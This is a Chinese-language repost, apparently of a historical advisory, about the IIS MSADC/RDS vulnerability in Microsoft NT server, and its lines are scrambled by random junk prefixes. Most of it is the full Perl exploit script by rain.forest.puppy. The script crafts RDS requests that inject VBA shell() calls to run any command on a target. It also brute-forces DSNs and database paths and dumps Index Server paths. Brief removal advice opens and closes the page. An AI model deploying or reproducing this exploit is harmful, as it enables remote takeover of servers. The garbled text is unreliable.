IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
-`?V8OwY] F37,u| 涉及程序:
\aW5V: ? Microsoft NT server
V
u!,tpa. -=qmYf 描述:
fCVSVn"o 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
jN {ED_ |R[m&uOib 详细:
YT:5J%" 如果你没有时间读详细内容的话,就删除:
cL
WM]\Y c:\Program Files\Common Files\System\Msadc\msadcs.dll
9Pb0Olh 有关的安全问题就没有了。
vOP[ND=T ohh 1DsB 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
OQsH,' =q"3a9pb7 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Ahebr{u 关于利用ODBC远程漏洞的描述,请参看:
X>wQYIi ss2:8up 99 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6% ,Q Y.C*|p# 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
LQQhn{[D http://www.microsoft.com/security/bulletins/MS99-025faq.asp ):[[Ch_ $Y4
Ao-@ 这里不再论述。
?NwFpSB2 Q%>,5(_V] 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
r-V./M@L l;;:3: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
W.CIyGK 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
eeX)JC0A (p2a{v}fEz -J6}7>4^8} #将下面这段保存为txt文件,然后: "perl -x 文件名"
g+CHF?O rj5:YQEH; #!perl
<=`@`rm{ #
F%|(pHk # MSADC/RDS 'usage' (aka exploit) script
kR_[p._ #
C'$U1%:
j # by rain.forest.puppy
Gce_gZH7{ #
lubS{3< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9(I4x]` # beta test and find errors!
[gE2lfaEy oy
|@m|J use Socket; use Getopt::Std;
1GNAx\( getopts("e:vd:h:XR", \%args);
" h#=ctCx" F`N*{at print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
nAYjSE /[-hJ=<Yb if (!defined $args{h} && !defined $args{R}) {
u/zfx;K print qq~
{p/m+m Usage: msadc.pl -h <host> { -d <delay> -X -v }
\E30.>%, -h <host> = host you want to scan (ip or domain)
a|>MueJ -d <seconds> = delay between calls, default 1 second
AuCVpDH -X = dump Index Server path table, if available
aqN.5'2\ -v = verbose
> w'6ZDA*X -e = external dictionary file for step 5
n#R!`*[ LSs={RD2+p Or a -R will resume a command session
Owr`ip\ G@;aqe[dB ~; exit;}
=os j}( {J]|mxo $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,s)H% if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~E\CAZ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
BOG )JaDW if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
x{- caOH $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+1y#=iM{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
*SW,pHYnLb @PI\.y_w if (!defined $args{R}){ $ret = &has_msadc;
(/M c$V die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t>[r88v h
Na<LZ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
wVVe L$28 . "cmd /c ";
AjS5 $in=<STDIN>; chomp $in;
oMVwIdf $command="cmd /c " . $in ;
j{PX ~/ )<|T Ep4r- if (defined $args{R}) {&load; exit;}
Q&J,"Vxw ^/+sl-6/F print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?-f>zx8O &try_btcustmr;
Cr`
0C Dn[1BWM/7 print "\nStep 2: Trying to make our own DSN...";
$1v5*E &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
S;NXOsSu |);>wV" print "\nStep 3: Trying known DSNs...";
=
` ^jz} &known_dsn;
LWI~m2 7I|%GA_ print "\nStep 4: Trying known .mdbs...";
X_qXH5^% &known_mdb;
0D'Wr(U( |}`5<a!6U if (defined $args{e}){
qkIU>b,B print "\nStep 5: Trying dictionary of DSN names...";
1bBK1Uw &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'GFzI:Xr r>Ln*R,9D
print "Sorry Charley...maybe next time?\n";
Zx_m?C_2_ exit;
+@Y[i."^J cabN<a
l ##############################################################################
lK4+8VZ 0
OBkd sub sendraw { # ripped and modded from whisker
fo.m&mKgo sleep($delay); # it's a DoS on the server! At least on mine...
+[ItkfSod! my ($pstr)=@_;
nR7\ o(! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e0L;V@R die("Socket problems\n");
,:`6x[ + if(connect(S,pack "SnA4x8",2,80,$target)){
'!R,)5l0h select(S); $|=1;
T?Y\~.+99 print $pstr; my @in=<S>;
_#C}hwOR>X select(STDOUT); close(S);
Xo`1#6xsE return @in;
AJT0)FCpR } else { die("Can't connect...\n"); }}
v\ Ljm,+ |=LkV"_v ##############################################################################
FT~^$)8= Ro<kp8 sub make_header { # make the HTTP request
aW"!bAdx`, my $msadc=<<EOT
zjA/Z( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
c
#kV+n< User-Agent: ACTIVEDATA
*3$,f>W^ Host: $ip
HhvG#Sam! Content-Length: $clen
{<kG{i/ Connection: Keep-Alive
z (3"\ ^T 8|({
_Z ADCClientVersion:01.06
MxR U6+a Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D@^ZpN8r K_QCYS. --!ADM!ROX!YOUR!WORLD!
T Rw6$CR Content-Type: application/x-varg
IMza
2 Content-Length: $reqlen
GcR`{ 3hO (5~C
_Y EOT
lQBM0|n ; $msadc=~s/\n/\r\n/g;
Gq*)]X{Ua return $msadc;}
E0Q"qEvU R(sM(x5a` ##############################################################################
PoJ$%_a} $hSZ@w|IF sub make_req { # make the RDS request
:2E1aVo4b my ($switch, $p1, $p2)=@_;
j&A3s{S4A my $req=""; my $t1, $t2, $query, $dsn;
opMUt,4 2~V Im#
if ($switch==1){ # this is the btcustmr.mdb query
ZRB 0OH $query="Select * from Customers where City=" . make_shell();
d8HB2c5y0i $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
}&DB5M $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
PQ}%}S7: |lxy< C4V elsif ($switch==2){ # this is general make table query
|a{]P=<q $query="create table AZZ (B int, C varchar(10))";
`fZD%o3l $dsn="$p1";}
au|^V^m 9Yyg}l: elsif ($switch==3){ # this is general exploit table query
U$)Hhn|X $query="select * from AZZ where C=" . make_shell();
C8E C?fSQ $dsn="$p1";}
/\rq$W_ s.` d<(X? elsif ($switch==4){ # attempt to hork file info from index server
T3./V0]\I $query="select path from scope()";
8[)]3K x $dsn="Provider=MSIDXS;";}
vo(NB
!x$ s &hA elsif ($switch==5){ # bad query
S |>$0P4W( $query="select";
7E`(8i $dsn="$p1";}
5L}>+js2 5lnSa+_/f $t1= make_unicode($query);
ulf/C%t,R $t2= make_unicode($dsn);
<zuE=0P~% $req = "\x02\x00\x03\x00";
ex\W]5 $req.= "\x08\x00" . pack ("S1", length($t1));
*ldMr{s<R $req.= "\x00\x00" . $t1 ;
c1kxKxE $req.= "\x08\x00" . pack ("S1", length($t2));
]<gCq/V # $req.= "\x00\x00" . $t2 ;
5xDN&su $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
]TgP!M&q return $req;}
O}_a3>1DY UMuuf6 ##############################################################################
]"Y%M' kQVDC,d sub make_shell { # this makes the shell() statement
*frJ^ Ws{ return "'|shell(\"$command\")|'";}
S9R]Zl7{- k0_$M{@Y ##############################################################################
qQOD _1<'"u#6w sub make_unicode { # quick little function to convert to unicode
,|X+/|gm my ($in)=@_; my $out;
3g[j%`k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
p*`SGX return $out;}
^Opy6Bqb neh;`7~5@K ##############################################################################
H:-A; f!Z x$GsDV sub rdo_success { # checks for RDO return success (this is kludge)
xDJ+BQ<1A my (@in) = @_; my $base=content_start(@in);
l(#ke if($in[$base]=~/multipart\/mixed/){
tIb21c q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ny(GTKoUz return 0;}
eQFb$C]R}y 7TkxvSL X ##############################################################################
vM7v f6 Y#&0x_Z sub make_dsn { # this makes a DSN for us
U`8|9v my @drives=("c","d","e","f");
G4Kmt98I print "\nMaking DSN: ";
D2</^]3Su foreach $drive (@drives) {
+Y)#yGUn print "$drive: ";
i*CQor6|z my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Tz[?gF.Do "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
kAN;S<jSE . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
eR-=<0Iw; $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
wD],{ y return 0 if $2 eq "404"; # not found/doesn't exist
nS+FX&_ if($2 eq "200") {
*Z`XG_ s5 foreach $line (@results) {
eKVALUw return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
w,Zx5bBg% } return 0;}
0<@KDlF dA1
C)gLi ##############################################################################
dHG Io 8b:clvh sub verify_exists {
&.Latx my ($page)=@_;
Ji6`-~ k my @results=sendraw("GET $page HTTP/1.0\n\n");
P$18Xno{ return $results[0];}
TcD[Teu FU\/JF.j ##############################################################################
n<?SZ^X{,/ v0`qMBr1y sub try_btcustmr {
tyuk{*Me: my @drives=("c","d","e","f");
cRh\USS my @dirs=("winnt","winnt35","winnt351","win","windows");
C~{NKMeC/m H5Ux.]y foreach $dir (@dirs) {
.vN%UNu print "$dir -> "; # fun status so you can see progress
2K]IlsMO& foreach $drive (@drives) {
>AQ)x print "$drive: "; # ditto
(@ fa~?v>@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
`M?v!]o $reqlenlen=length( "$reqlen" );
e)HhnN@ $clen= 206 + $reqlenlen + $reqlen;
1t~FW-: Y . my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dXiE.Si if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
hG3m7ht else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
A{z>D`d sK@Y!oF}\ ##############################################################################
rToaGQh Yz=h"Zr sub odbc_error {
/WgPXE B my (@in)=@_; my $base;
jj!N39f my $base = content_start(@in);
}UKgF. if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
WVS$O99Y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LBmM{Gu $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vZb|!#I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-c+[6A>j return $in[$base+4].$in[$base+5].$in[$base+6];}
>-5td=:Z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.!yWF?T8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V(;55ycr $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
m7r j>X Y W?qpnPW ##############################################################################
x0\e<x9s -uA 3Y sub verbose {
}+Rgx@XZ\ my ($in)=@_;
,<@,gZru return if !$verbose;
]<27Sw&yaG print STDOUT "\n$in\n";}
17>5#JLP ]?0{(\ ##############################################################################
Nfv="t9e K,f* SXM sub save {
\G$QNUU my ($p1, $p2, $p3, $p4)=@_;
@[MO,J&h open(OUT, ">rds.save") || print "Problem saving parameters...\n";
kS B print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
VK2@2`$ close OUT;}
:`0'GM" ` l`@0zw+ ##############################################################################
oL<BLr9> 3ty4D 2y sub load {
k"">2#V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I&L.;~ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
U^%9
)4bj @p=<IN>; close(IN);
rO/a,vV $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"^;#f+0 $target= inet_aton($ip) || die("inet_aton problems");
HLjvKE=W print "Resuming to $ip ...";
$!!R:Wn/R $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\U/v;Ijf if($p[1]==1) {
fL!V$]HNt $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,~(|p` $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
QVIcb;&:} my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
In
f9wq\ if (rdo_success(@results)){print "Success!\n";}
9s!
2 wwh else { print "failed\n"; verbose(odbc_error(@results));}}
/~40rXH2C elsif ($p[1]==3){
Hm>-LOCcl if(run_query("$p[3]")){
7\mDBG print "Success!\n";} else { print "failed\n"; }}
:?HSZocf elsif ($p[1]==4){
%'N$lF"] if(run_query($drvst . "$p[3]")){
!*&4< _ print "Success!\n"; } else { print "failed\n"; }}
Z6
;Wd_ exit;}
O\6vVM[ B!eK!B ##############################################################################
oJ ^C]E 1p8:.1)q sub create_table {
kMM'[w my ($in)=@_;
jcE Msc $reqlen=length( make_req(2,$in,"") ) - 28;
'KH
lrmnr $reqlenlen=length( "$reqlen" );
.iFViVZC $clen= 206 + $reqlenlen + $reqlen;
^6Yd} my @results=sendraw(make_header() . make_req(2,$in,""));
6\NvG,8 return 1 if rdo_success(@results);
-*?p F_*w my $temp= odbc_error(@results); verbose($temp);
R"@7m!IA return 1 if $temp=~/Table 'AZZ' already exists/;
v@VLVf)>9^ return 0;}
E W`W~h[ &x`&03X ##############################################################################
Di:{er(p Q4RpK(N sub known_dsn {
Nepi|{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
BU`ckK\( my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
'=VH6@vZ_' "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
vX ?aB!nkw "banner", "banners", "ads", "ADCDemo", "ADCTest");
_=pWG^a KyT uF foreach $dSn (@dsns) {
iHPUmTus-- print ".";
Z a!
gbt next if (!is_access("DSN=$dSn"));
13H;p[$ if(create_table("DSN=$dSn")){
tww=~! print "$dSn successful\n";
+jUgx;u, if(run_query("DSN=$dSn")){
]D O&x+Rb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e,(a6X print "Something's borked. Use verbose next time\n";}}} print "\n";}
t<Ot|Ex xk& NAB ##############################################################################
<Z},A-\S* J,??x0GDx, sub is_access {
wTxbDT@ H5 my ($in)=@_;
yO00I`5 $reqlen=length( make_req(5,$in,"") ) - 28;
"?35C
! $reqlenlen=length( "$reqlen" );
F%
`zs\ $clen= 206 + $reqlenlen + $reqlen;
E, GN| l my @results=sendraw(make_header() . make_req(5,$in,""));
Qlw>+y-i my $temp= odbc_error(@results);
9TC)
w| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Lbcy:E*g return 0;}
k@yh+ v5 ,]ga[ ##############################################################################
=NadAyv ?-f,8Z|h sub run_query {
/,!<Va;~ my ($in)=@_;
Q^L)
Vp" $reqlen=length( make_req(3,$in,"") ) - 28;
3f"C!l]Xu $reqlenlen=length( "$reqlen" );
+
~"5! $clen= 206 + $reqlenlen + $reqlen;
\/ErPi=g my @results=sendraw(make_header() . make_req(3,$in,""));
eIH$"f;L return 1 if rdo_success(@results);
6#U^<` my $temp= odbc_error(@results); verbose($temp);
/'ZKS T4 return 0;}
ow/U / 2xSNalC ##############################################################################
:|rPT)yT] )n>+m|IqY( sub known_mdb {
YlTaN,?j my @drives=("c","d","e","f","g");
c;9.KCpwx my @dirs=("winnt","winnt35","winnt351","win","windows");
4ZwKpQ6 my $dir, $drive, $mdb;
\w%@?Qik my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"N 3)Qr J? .F\`N) # this is sparse, because I don't know of many
Zyu/|Og my @sysmdbs=( "\\catroot\\icatalog.mdb",
wPX*%0] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
8#w)X/ "\\system32\\certmdb.mdb",
##cnFQCB "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ZIDbqQu i)MEK#{ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
FH8k'Hxg "\\cfusion\\cfapps\\forums\\forums_.mdb",
{WQq}-( "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ygzxCn|# "\\cfusion\\cfapps\\security\\realm_.mdb",
s9 @Sd "\\cfusion\\cfapps\\security\\data\\realm.mdb",
.fp&MgiQ "\\cfusion\\database\\cfexamples.mdb",
5pfYEofK[ "\\cfusion\\database\\cfsnippets.mdb",
D<>@
%"% "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
y! ~qbh[ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Be2lMC "\\cfusion\\brighttiger\\database\\cleam.mdb",
p$Hi[upy "\\cfusion\\database\\smpolicy.mdb",
|
&7S8Q "\\cfusion\\database\cypress.mdb",
H; Ku
w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
nls "\\website\\cgi-win\\dbsample.mdb",
-_em%o3XC "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
]A^4}CK^< "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
"hQgLG ); #these are just
T]9m:zX9s foreach $drive (@drives) {
((bTwx foreach $dir (@dirs){
O$D?A2eI foreach $mdb (@sysmdbs) {
;SY\U7B\ print ".";
aJzLrX if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
y t5H oy print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
-DjJ",h( $ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
mV)+qXC print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/TV=$gB` } else { print "Something's borked. Use verbose next time\n"; }}}}}
Dvc&RG D d,2;#_ foreach $drive (@drives) {
5)UQWnd5 foreach $mdb (@mdbs) {
;wHCj$q print ".";
l1'6cLT` if(create_table($drv . $drive . $dir . $mdb)){
3I $>uR print "\n" . $drive . $dir . $mdb . " successful\n";
9t$]X>} if(run_query($drv . $drive . $dir . $mdb)){
%%JMb=!%2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
R#W&ery } else { print "Something's borked. Use verbose next time\n"; }}}}
~b)74M/ }
/?*]lH. $n!K6fkX% ##############################################################################
=a}b+(R "N5!mpD" sub hork_idx {
[0y$! f4 print "\nAttempting to dump Index Server tables...\n";
E\U`2{^. print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
2oCkG~j $reqlen=length( make_req(4,"","") ) - 28;
2VGg 6% $reqlenlen=length( "$reqlen" );
U*)m', $clen= 206 + $reqlenlen + $reqlen;
_S`o1^Ad my @results=sendraw2(make_header() . make_req(4,"",""));
CU)|-*uiK if (rdo_success(@results)){
3\:y8| my $max=@results; my $c; my %d;
'hqBo| for($c=19; $c<$max; $c++){
<hx+wrv $results[$c]=~s/\x00//g;
}H"kU2l $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
eE@&ze>X $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}4//@J?: $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
g(|{')8?d $d{"$1$2"}="";}
AUe# RP foreach $c (keys %d){ print "$c\n"; }
~1L:_Sg* } else {print "Index server doesn't seem to be installed.\n"; }}
OLC{iD# &ldBv_ ##############################################################################
8|%^3O 0X 8}s.Fg@tE sub dsn_dict {
6#@ f'~s open(IN, "<$args{e}") || die("Can't open external dictionary\n");
])}(k while(<IN>){
.2)
=vf'd $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
04U")-\O next if (!is_access("DSN=$dSn"));
N<(.%<! if(create_table("DSN=$dSn")){
tjT>VwqH print "$dSn successful\n";
/Q{P3:k if(run_query("DSN=$dSn")){
;j8)KC print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3?n>yS print "Something's borked. Use verbose next time\n";}}}
w= P9FxB print "\n"; close(IN);}
L+}n@B pmWr]G3,* ##############################################################################
GH1"xR4! s?R2B)a sub sendraw2 { # ripped and modded from whisker
u8GMUN sleep($delay); # it's a DoS on the server! At least on mine...
kOo~%kcQ' my ($pstr)=@_;
`;l .MZL! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.iX# A<E} die("Socket problems\n");
?>"Yr,b? if(connect(S,pack "SnA4x8",2,80,$target)){
#~O b)q| print "Connected. Getting data";
0tg8~H3yy open(OUT,">raw.out"); my @in;
kn"(mJe$ select(S); $|=1; print $pstr;
]n."<qxeT while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6GPp>X close(OUT); select(STDOUT); close(S); return @in;
G uQ=gN } else { die("Can't connect...\n"); }}
UFAL1c<V Xce0~\_A ##############################################################################
>K9#3
4hP 4;`oUt'. sub content_start { # this will take in the server headers
V'*~L\;pU my (@in)=@_; my $c;
!`41q=r for ($c=1;$c<500;$c++) {
uVyGk~ if($in[$c] =~/^\x0d\x0a/){
y\dEk:\) if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%\|'%/"`2( else { return $c+1; }}}
o6
E!IX+ return -1;} # it should never get here actually
Jc&y9]
lKZB?Kk^w\ ##############################################################################
s, k 4lhw3,5 sub funky {
%1}K""/ my (@in)=@_; my $error=odbc_error(@in);
D(-yjY8aG if($error=~/ADO could not find the specified provider/){
)9l^O
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
!l]dR@e exit;}
Wjhvxk if($error=~/A Handler is required/){
&nBa=Enf print "\nServer has custom handler filters (they most likely are patched)\n";
J]f3CU,<N exit;}
e@:sR if($error=~/specified Handler has denied Access/){
iu&wO<)+? print "\nServer has custom handler filters (they most likely are patched)\n";
AKMm&(fh% exit;}}
^P151*=D nWQ;9_qBB ##############################################################################
!*6CWV0 `;%]'F0` sub has_msadc {
sVG(N.y my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
=] *.ZH#h my $base=content_start(@results);
mU}F!J#6 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4jD2FFG-
G return 0;}
{43>m)8+ Y%`xDI ########################
Uf}\p~; C4TE-OM8 s(X;Eha 解决方案:
P(F+f`T 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|$5[(6T| 2、移除web 目录: /msadc